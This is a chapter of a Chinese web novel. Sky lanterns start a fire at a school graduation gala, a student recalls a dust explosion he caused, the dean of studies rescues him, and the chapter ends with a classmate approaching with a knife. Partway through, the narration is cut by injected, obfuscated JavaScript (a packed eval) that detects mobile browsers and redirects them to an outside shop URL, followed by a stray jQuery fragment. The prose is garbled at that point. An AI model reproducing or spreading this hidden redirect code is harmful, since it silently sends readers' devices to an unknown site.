6月20日傍晚,夕阳的最后一丝余晖快要落入地平线。
校园里的路灯和教学楼的日光灯提前点亮。
办公室里没有开灯,借助晚霞的光辉,教导主任独自一人站在办公桌前,正将桌上的几份文件和几个笔筒,一件一件,放进身旁的纸箱。
窗外,隐隐传来操场方向测试广播的沉闷声响:
“老师们,同学们,请注意,毕业晚会即将开始,请大家依次做好准备,稍后广播会再次通知大家下楼——嗞——嗞——”
把停职公告塞进箱子侧边,手上的动作忽然停住,目光落在办公桌那堆书上。
教导主任眉头微皱,将身子倾过去,抽出那本封皮有些发黄的旧书,大拇指按住书页边缘,从头到尾快速拨动。
纸张发出“哗哗”的翻页声。
除了几粒灰尘以外,什么也没掉落出来。
翻书动作瞬间加快,第二遍翻完,教导主任仍是一脸失望疑惑的表情。
紧接着,教导主任又抽出旁边两本厚重的教辅资料,捏住书脊,用力将书口朝下,在空中使劲抖了抖。
依旧空空如也。
教导主任双手抓着书,在原地站了足足五秒钟,眉心一点一点聚着疑云,只好把书扔回桌面,拉开黑色办公椅,无力地坐了下去,静静望着那几本翻开的旧书,陷入了长久的沉默。
“嗞——嗞——”
就在这时,挂在墙角的广播,又发出一声尖锐的电流声,打破了办公室内的沉寂。
广播里,又传出一个清亮的女声:
“现在,请各班同学在班主任的带领下,排好队,依次下楼前往操场。行走过程中,请大家注意安全,不要伙同他人嬉笑打闹……”
广播爆出一阵刺耳的故障音,机械重复的卡壳声断断续续传出:
“请注意——伙同——注意——伙——伙——伙——”
电子故障声响伴随着“嗞嗞”杂音,在昏暗的办公室里一遍一遍回荡。
坐在椅子上的教导主任身体猛然僵住,她缓缓抬起头,目光看向墙角的广播,嘴唇紧紧抿成了一条直线。
办公室外,潮水般的密集脚步声和欢笑声密密麻麻传来。
“走咯,下楼!”
“大家注意安全哦……”
整栋教学楼的学生,正顺着楼梯兴奋地朝操场涌去。
教导主任神色不安地从椅子上站了起来,连身旁的纸箱都没来得及再看一眼,直接转过身,大步走出了办公室,站到了走廊的栏杆旁。
晚风吹起教导主任鬓角的发丝,她面无表情,朝楼下看去。
视线里,成百上千个穿着校服的学生,正如密密麻麻的蚁群一般,涌向灯火零星的操场。
教导主任深吸了一口气,将手伸到裤袋处,隔着薄薄的布料,用手指捏了捏兜里的手机,转身跟在了那群叽叽喳喳的学生队伍后面,也缓缓朝楼下走去。
操场上,此刻已是一片热闹。
临时搭建的露天后台里,充斥着轻微的发胶味和衣物摩擦的声响。
各个班级的参演学生挤成一团,紧张进行着上台前的最终准备。
“搞定了!”文艺委员满意地拍了拍手,又转身去给下一个女生化妆。
汤振站起身,理了理身上表演用的衣服。
“磊哥,快来看!”旁边,传来丁航压低嗓音的喊声。
汤振转过头,只见丁航像是在护着稀世珍宝一样,蹲在一米高的瓦楞纸箱旁边。
丁航小心翼翼掀开纸箱两边的盖板,露出里面整整齐齐叠放着的十个硕大的纸质天灯,还有两包被塑料袋严密封装着的固体燃料块。
“得亏教导主任被停职了,我们才能把这些道具拿来表演,我们班的舞台效果肯定是最好的,说不定这次能拿第一名!”丁航拍了拍手上的灰尘,长舒一口气,脸上写满了侥幸与兴奋。
听到“教导主任被停职”这句话,汤振心底那块刚要结痂的伤疤,仿佛又被撕扯了一下,他移开视线,看着箱子里的天灯,心里翻涌起一阵难言的苦涩。
汤振知道丁航向来重视集体荣誉,看到他这般兴奋的表情,汤振也不忍心泼冷水,于是道:“买到就好,买到就好。”
想到教导主任之前的叮嘱,汤振的语气又变得严肃:“不过,等会儿点火的时候,咱们十个同学一定要小心再小心,毕竟咱们只在昨天彩排的时候放飞过一次。”
“明白,明白,”丁航眼中闪烁着期待,“只要这十个天灯在空中飘起来,呈现的效果肯定比投影仪好一百倍,到时候火光漫天,整个操场都会很热闹的!”
看着丁航激动的样子,汤振也没有再多说什么。
此时,操场已经变成一片沸腾的海洋。
今晚,不仅是高中年级,就连初中三个年级的学生也被邀请共同观看这场盛大的毕业晚会。
成百上千名学生,正从教学楼涌向操场。
“哐当。”
“咯吱。”
数千把椅子被学生们拖着,在水泥地上摩擦,发出让人后背发麻的声响。
人群如同一股股汹涌的洪流,顺着四面八方的通道,源源不断汇聚到宽阔的操场上。
操场正前方,临时搭建的巨大舞台上,亮起了四盏刺眼的白色探照灯,直直扫过夜空,照亮了空气中飘浮着的尘埃。
巨大的音响里播放着节奏强劲的暖场音乐,低音炮的振动顺着地面传导至每个人的脚下。
相熟的学生们隔着几个班级的方阵大声呼喊着彼此的名字,几个男生兴奋得吹起了口哨,许多学生自行购买的荧光棒和荧光手环在夜色中连成了一片闪烁的星海。
热浪混合着学生们的体温,在夏日的夜空下蒸腾。
在压抑了整个学期的校园里,似乎所有人都沉浸在了这场狂欢之中。
晚会终于开始。
“欢迎大家来到今年的毕业晚会。接下来,请欣赏由高一1班带来的开场节目,他们将演唱……”
随着穿着华丽礼服的主持人一声高亢的宣布,操场上顿时爆发出一阵震耳欲聋的欢呼声。
数千名学生坐在密密麻麻的椅子上,手里挥舞着五颜六色的荧光棒,将整个塑胶操场变成了一片光海。
演唱结束后,便是精彩的小品节目。
操场上的观众们被逗得哈哈大笑,即使流着汗,也阻止不了他们为表演者鼓掌的热情。
一连十个节目后,终于等到高一3班的合唱加话剧的表演。
所有观众的目光再次看向舞台。
节目开始,文艺委员带领同学们在灯光下努力表演,伴随着深情的合唱,优雅的歌唱和深情的表演,频频赢得台下无数掌声,整个校园的气氛融洽到了极点。
终于,高一3班的节目迎来了激动人心的谢幕环节。
汤振与丁航等十名同学,整整齐齐地走到了舞台前方。
文艺委员掐着节拍,下令让大家一齐托起十盏硕大的天灯。
伴随着打火机微弱的“咔嗒”声,固体燃料被一块块点燃。
几乎是同一时间,滚烫的热气迅速撑满了纸罩。
十名表演者同时松开了双手,十盏散发着橘色暖光的天灯,在全场观众热烈的注视下,缓缓升入墨色的夜空。
“哇!”
“好漂亮啊,快偷偷拍张照。”
“感觉整个操场都被照亮了……”
操场上,顿时响起了一片剧烈的惊叹与欢呼声。
天灯飞向夜空的画面美得一尘不染,仿佛承载了所有毕业生的希望,向着星空飞去,向着未来飞去。
唯美的画面让所有观众的目光都舍不得移开分毫,大家一时安静了下来,一言不发,只认真欣赏着夜空里逆流而上的星河。
突然——
“你们快看那边。”
“那盏天灯要掉下来了……”
人群里,爆发出一声破音的尖叫。
所有人闻声望去,只见飞在靠中间位置的天灯,底部的火苗霎时剧烈窜动,烧穿了薄薄的纸壁。
那盏天灯瞬间失去力量,带着一团明火,就要直直朝舞台正上方砸下去。
“快闪开!”汤振仰着头大吼一声。
舞台上,高一3班的15名同学面色顿时变得惊恐万分,连忙朝着大型舞台两侧的铁架子躲去,铁架子后面,便是露天候场区。
“轰!”
那团火球,不偏不倚,径直砸在了舞台那块巨大的化纤材质幕布上。
几乎是一眨眼的功夫,火舌便顺着干燥的幕布疯狂攀爬,将其燃成了一堵火墙。
尖叫声此起彼伏。
这时,半空中的另外三盏天灯,也因为燃料块碎裂,化作三团火球,正飞越到操场中央,快要朝高二的方阵砸落下去。
“那三个天灯也要掉下来了!”
“是朝我们这边飞过来的!”
“燃起来了,大家快跑啊……”
惊恐的尖叫撕裂了操场的夜空。
中间方阵的几百名学生吓得面如土色,连椅子都顾不上搬,像炸了窝的蜂群一样向外溃逃。
三盏带着明火的天灯不出所料,狠狠砸落在人群中央,瞬间引燃了高二方阵拉在半空中的塑料横幅,刺鼻的黑烟立刻弥漫沉浮。
“当心踩踏,大家先把班级的横幅都收起来啊!”一名老师企图维持秩序,声嘶力竭地吼叫着。
然而,此刻根本没有学生听得进任何指令。
尖叫哭喊声混杂着椅子被撞翻的“哐当”声,密密麻麻交织在一起,现场彻底陷入了失控的深渊。
舞台旁边,丁航紧紧拽着汤振的胳膊,大喊道:“于浩磊,快跑啊!音响万一炸了怎么办?”
汤振像是一根被钉在木板上的钉子,一动不动。
丁航企图拉走汤振,但又摔倒在地,他再也顾不得什么,连忙和其余同学一起,逃出了舞台后方。
汤振眼睁睁看着那熊熊燃烧的幕布,看着音响设备和地上的电线在高温下逐渐融化,嗞嗞冒着火花。
舞台和横幅剧烈燃烧着,操场上,火光漫天。
滚烫的热浪,让汤振眼前的空气也变得扭曲,他竟呆呆站在原地,忘记了逃跑。
刺眼的火光中,汤振似乎听到了回忆里传来的爆炸声,他的眼前,浮现出一年前的画面……
去年六月份,汤振按养父的要求,去了雁清街的“速美捷快递”,只为把仇家的包裹替换掉。
汤振戴着口罩和墨镜潜入库房,却无意间撞见正在抽烟的快递店老板。
“你干什么?”老板扔下烟头,怒吼着扑了上去。
为了脱身,汤振推倒了旁边高耸的货架,导致无数个纸箱砸落,一袋袋面粉和不明粉末破裂开来,白色的粉尘瞬间弥漫了整个店铺。
“抓小偷啊,抢劫了!”老板被粉尘迷了眼睛,冲出快递店,大声呼救。
汤振冲出店门,夺路而逃。
就在那时,门外路过的一群穿着浥鸣二中校服的学生,一个扎着马尾辫的女生听到老板的求救,毫不犹豫冲出队伍,向粉尘弥漫的快递店冲去,试图帮忙抓住汤振。
然而,下一秒,刚才被丢在地上的烟头,引燃了达到爆炸浓度的粉尘。
“轰隆!”
巨大的火球从快递店里喷出,那个冲上前帮忙的女生被气流推出去数米远,摔在了水泥地上,大量的鲜血迅速蔓延开来。
快递店老板当时也吓傻了,顾不上抓汤振,连忙拨打了急救电话。
远处的街角,汤振也停下脚步,回头望去,隔着墨镜,看见了那个倒在血泊中的女生,怔住十秒,才被逃跑的本能驱使着,转身潜入黑暗的巷子里。
从那一天起,那刺眼的鲜血和爆炸的火光,成了汤振挥之不去的噩梦。
一个多月后,汤振终于费尽心思从养父手底下逃了出来,遇见了于浩宁,也就有了后来的这些事情……
汤振的思绪回到了现在。
“砰!”
舞台上,一声爆裂的巨响叫醒了汤振,他似乎终于找回了身体的控制权,连忙往旁边躲去。
汤振的眼睛被浓烟熏得通红,他透过熊熊火光和扭曲的热浪,看向眼前的操场,仿佛整个世界在他眼里被按下了慢放键。
远处的女生被绊倒在地……旁边的男生惊恐地伸出手……几个人在混乱中互相推搡……安保人员们提着鲜红的灭火器向火场冲刺……
“呲——呲——”
舞台边缘的一根主电缆被烧断,操场外沿,两盏巨大的探照灯在发出一阵剧烈的火花后,“啪”地一声,同时熄灭。
操场上瞬间陷入了一片黑暗之中,唯有冲天的火光,如同恶魔一般,张牙舞爪。
在令人绝望的黑暗中,一个熟悉的身影,从探照灯下方疯了一般冲向舞台。
是教导主任!
她刚打完消防电话,又打完急救电话,一边逆着溃逃的人群,一边冲向浓烟滚滚的舞台,冲向被困在后面的汤振。
看准时机,教导主任不顾一切冲进了火光中,一把抱住失魂落魄的汤振,拼尽全身的力气,将他向外狠狠一推。
“轰隆!”
就在汤振被推开的下一秒,燃烧着的桁架便重重砸了下来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633828|205002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
落在他刚才站立的位置。
“哥!”于浩宁也逆着人潮的方向冲了过来,满脸黑灰,把汤振的胳膊架在肩膀上,和教导主任一左一右,扶着汤振,从火光和烟雾中走了出来。
直至退到舞台外的安全地带,新鲜空气才重新灌入汤振的鼻腔。
“你们快走,远离危险区域!”教导主任声嘶力竭,冲着周围发呆的学生大吼。
汤振剧烈咳嗽,终于找回了对自己身体的控制权,他看着教导主任燎焦的衣服和擦伤的手臂,颤抖道:“谢谢……谢谢主任。”
教导主任紧紧抓着汤振和于浩宁的手臂,三个人跌跌撞撞,朝着远离火场的方向退去。
一边走,教导主任的眼泪便一边疯狂滴落,她哭得毫无形象,连肩膀都在剧烈抽搐。
刚走了没几步,教导主任忽然双腿一软,跌坐在塑胶跑道上。
她没有擦去眼泪,只是抬起双手,用力抓住汤振的双肩,崩溃破碎地哭喊道:“看到了吗,于浩磊,你看到了吗?”
教导主任的眼泪像断了线的珠子,声音凄厉:“于浩磊,你的决定不会永远正确,你没办法永远正确!有些事情,你没见过,不代表它不会发生!”
汤振被教导主任的恸哭惊呆,整个人僵在原地。
于浩宁慌忙从口袋里掏出一包纸巾,手忙脚乱地递给教导主任。
教导主任没有接过纸巾,她松开手,捂住自己的脸,发出一声长长的痛哭,那些眼泪,此刻似乎都要毫无保留地倾泻出。
“你们有所不知,”教导主任的抽泣断断续续,“去年六月,我带着即将毕业的高三学生去参观会展。半路上,一名女生没有经过我的同意,擅自离开队伍,跑去帮街边一家快递店的店主抓小偷。”
教导主任嗓子喑哑,声音破碎:“结果,那家快递店突然发生了爆炸,她被爆炸的气流弹飞,倒在地上,流了好多血,好多血……”
教导主任几乎是哭喊着将这些事情讲出。
汤振的太阳穴一阵刺痛,脑海瞬间空白,他瞪大了双眼,难以置信地看着眼前的教导主任。
仿佛心脏被生锈的铁锤狠狠砸碎,汤振的眼眶在一瞬间通红,眼泪像决堤的河水,无法遏制地涌了出来。
竟然是她!
竟然是教导主任的学生!
一切都是自己的错!
汤振顿时觉得难以呼吸,他的嘴唇剧烈地发抖,“主任……主任,您,您千万别太自责了。”
“我怎么可能不自责,”教导主任抬起头,红肿的眼里充满对自己的恨意,抽泣道:“都是我的错,都是我的失职,我是个失败的教育者,我是个失败的管理者,我没有保护好我的学生。我,我到现在,只要看见上一届毕业生的合照,我都会想起她……”
汤振的眼泪在脸上冲刷出两道清晰的泪痕,他跪在教导主任的面前,颤抖着伸出手,却又不敢触碰她。
“主任,这不怪您,”汤振流着泪,拼命摇头,声音里带着深深的绝望与自责,“要怪,就怪快递店的那个小偷,都是他的错……”
“我也有错,”教导主任泣不成声,声音嘶哑道:“如果当时,我能对她再严格一点,不让她乱跑,那该多好,可是,可是只要我一严格,你们就会讨厌我……”
教导主任无助地抓住汤振的手臂,恸哭失声,“我每晚都在反省,到底做错了什么,我到底要怎样,才能把握好严格的程度?你们谁能告诉我,到底谁能告诉我……”
面对字字泣血的拷问,汤振只觉得内心最脆弱的地方被击溃。
身旁的于浩宁也流着泪,扶住跌坐在地的潘主任,连一句安慰的话都说不出口。
直到几名安保人员匆匆赶来,才小心翼翼地将虚脱的教导主任从地上扶起,朝着休息的区域走去。
汤振依旧沉浸在痛苦的回忆中,跪在冰冷的地面。
操场上,舞台区域的大火还在燃烧,消防车的警笛声已由远及近传来。
汤振浑身发抖,在风中止不住地流泪,望着教导主任远去的背影,无助地坐在地上。
在这一片混乱与绝望的夜色中,一个坚定的想法,在汤振的心底生了根。
周围,学生和老师嘶哑的疏散声交织在一起,整个校园宛如一片沸腾的海水。
汤振颓然坐在地上,喉结艰难滚动了一下,声音沙哑得几乎快听不见:“原来之前,她看着那张合照流泪,是因为那里面有她受伤的学生。”
汤振低下头,紧紧抓着坚硬的地面,“一切都是我的错,我害主任自责了一年……”
一旁的于浩宁转过头,用手背抹了一把被熏黑的泪痕,盯着眼前浑身发抖的汤振。
“为什么是你的错,”于浩宁的声音里带着无法抑制的哭腔,猛地扶住汤振的肩膀,“你还隐瞒了什么啊?哥!”
面对声嘶力竭的逼问,汤振的嘴唇剧烈哆嗦着,一股深重的恐惧瞬间扼住他的咽喉。
“没,没什么,”汤振眼神闪躲开,咽下一口唾沫,“我,我错在把那段视频发到了网上,害教导主任被暂停了职务……是我害了她。”
于浩宁的手指僵了一下,皱紧眉头,“但是,他们不是说都是因为家长的举报,才导致教导主任被暂停职务么?”
汤振没有再解释,他痛苦地闭上眼,摇头,又摇头,声音干涸道:“浩宁,放学了,我们……先回去吧。”
于浩宁咬着牙,眼神中的疑惑还未完全散去。
忽然,于浩宁的动作停滞在半空中,他回过头,视线看向几十米外的那片浓烟。
“哥,”于浩宁声音忽然压低:“那边好像有人跑过来。”
汤振心里一惊,立刻顺着于浩宁的视线抬起头。
在操场上混乱的人群中,分明有一个突兀的身影,正逆着逃散的人潮,朝着自己狂奔。
忽明忽暗的火光,终于照亮了那个人影的脸庞。
汤振的瞳孔骤然一颤,那是伍泓!
伍泓正穿着一件宽大的校服外套,当他跑到距离汤振只剩不到十米的地方时,他的目光和汤振的目光直直对视上。
伍泓的胸口微微起伏着,脚步放得很慢,很慢,一步,两步……踩着地上散落的塑料荧光棒,缓缓走到距离汤振和于浩宁仅有五米远的地方,停了下来。
伍泓背后的火光,将他的脸映得忽明忽暗,他的眼里透着一股令人毛骨悚然的疯狂。
汤振的视线,倏然向下看去。
——在伍泓的右手里,反射出一道明晃晃的冷厉寒光。
汤振的呼吸仿佛也停滞住,他仔细一看,伍泓右手紧紧握着的,是一把锋利的尖刀!